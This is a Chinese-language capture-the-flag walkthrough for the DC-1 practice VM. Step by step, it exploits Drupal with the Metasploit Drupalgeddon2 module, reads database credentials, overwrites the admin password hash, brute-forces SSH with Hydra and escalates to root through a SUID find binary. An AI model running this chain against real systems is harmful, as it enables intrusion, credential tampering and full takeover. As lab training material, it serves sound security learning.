靶场下载地址:链接:https://pan.baidu.com/s/1n99vDN5JBOIyLWwMPgnXKw
提取码:9g29
一 环境搭建
将靶场下载至本地解压
使用Vmware虚拟机打开.ova文件
打开文件时会出现导入失败错误,只需要点击重试即可
启动虚拟机之后将网络模式修改为NAT模式
本次实验使用kali Linux系统进行,启动kali虚拟机并把kali的网络模式也修改为NAT模式,至此环境搭建完成
二 信息收集
使用nmap对DC-1进行扫描
nmap -A -p- 192.168.163.1/24
-A:选定用于使用进攻性方式扫描
-p :指定端口(-p-表示全端口扫描 1-65535)
发现DC-1靶机开放了22端口、80端口、111端口、48437端口,先访问一下80端口运行的服务 http://192.168.163.240
三 漏洞分析
发现是Drupal CMS 接下来我们收集一下CMS的版本等信息 使用whatweb来探测CMS版本
发现该网站使用的CMS是Drupal 7
我们打开msf,在msf中搜索漏洞 search drupal 7.x ,发现一个可以利用的攻击脚本
四 漏洞利用
使用此脚本(use exploit/unix/webapp/drupal_drupalgeddon2),再使用options查看此脚本需要配置的信息
只需要配置RHOSTS,使用set rhosts 192.168.163.240(DC-1的ip),设置完输入run,即可得到一个meterpreter > 键入shell命令 获取靶机系统的控制台shell
我们输入命令发现我们得到的是一个不完整的shell,所以使用python中的pty模块,进入ython交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
我们在/var/www目录下发现flag1
得到提示:任何一个完善的CMS都需要配置文件—所以你应该怎么做。
提示我们去找配置文件,这里没有技巧,就是挨个目录去找
最终我们发现在sites文件下有个default文件,里面发现一个配置文件 settings.php
我们查看一下settings.php
在其中找到flag2还有MySQL数据库的账号密码
我们查看一下靶机开放的端口果然发现了3306端口开放
使用此用户名密码,连接数据库。
mysql -udbuser -pR0ck3t;
连接成功之后,查看存在的数据库
mysql> show databases;
使用数据库,查看当前数据库drupaldb下的数据表
mysql> use drupaldb;
mysql> show tables;
在数据表中我们发现有个名为users的表,使用数据库查询语句,查询users表中的内容。
select * from users\G;
在users表中,发现有admin用户,但是密码是加密过的,一般加密的密码是很难破解的,所以选择生成相同加密方式的密文将它替换掉
退出mysql,回到/var/www下执行以下代码,生成相同加密方式的密文
exit //退出mysql的shell cd /var/www //回到网站目录 php scripts/password-hash.sh 设置要替换的密码 php scripts/password-hash.sh 123456
再次连接数据库,使用updata命令将admin的密码替换为刚生成的加密密文
update users set pass="$S$DUut/RX6gNACn1FdtJEs0kf0em1r5UzLewFoZ6twvSsJPOJvKX0r" where uid=1;
查询admin用户的密码看是否替换成功
接下来我们使用 admin/123456,登录网站
进入网站观察页面,点击左上角的Dashboard,发现flag3
查看flag3
根据flag3中提示 “去查看存放用户信息的文件和存放密码信息的文件” 查看/etc/shadow发现权限不够,查看etc/passwd,发现用户flag4,并且有/bin/bash,想到靶机开放端口22,所以想到使用ssh连接。
但是不知道flag4用户的密码
我们可以使用kali自带的hydra工具爆破ssh密码,使用kali自带的密码字典,路径为/usr/share/john/password.lst
新开一个终端,输入以下命令使用hydra爆破flag4 ssh密码
hydra -l flag4 -P /usr/share/john/password.lst 192.168.163.240 ssh -e nsr -f -vV -l 指定一个用户名 -P 指定一个密码字典 /--> n null 空密码 -e ---> s same 用户名密码相同 \--> r 反向 密码为用户名反向(如 用户名:kali 密码:ilak) -f 枚举到正确账号密码就停止爆破 -vV 显示爆破过程
爆破得到,DC-1用户名密码为:flag4/orange 的用户 使用ssh协议直接连接
ssh flag4@192.168.163.240
在flag4用户家目录下,发现了flag4 根据提示,我们需要拿到root用户的权限,才能得到最终的flag。
这里使用suid提权,通过命令查看是否具有root权限的命令。
find / -perm -4000 2>/dev/null
发现find命令具有root权限。执行命令提权。
flag4@DC-1:~$ mkdir Encat \\创建一个Encat目录 flag4@DC-1:~$ find Encat -exec "whoami" \; \\使用find命令在Encat目录中-exec查找“whoami”
经过测试 Encat目录可以省略 并且将“whoami”替换为“/bin/bash”不能成功提权 只能替换为“/bin/sh”
find -exec "/bin/sh" \;
通过执行命令,成功提权到root用户。切换到root目录下,找到最后的flag,thefinalflag.txt
完结 !!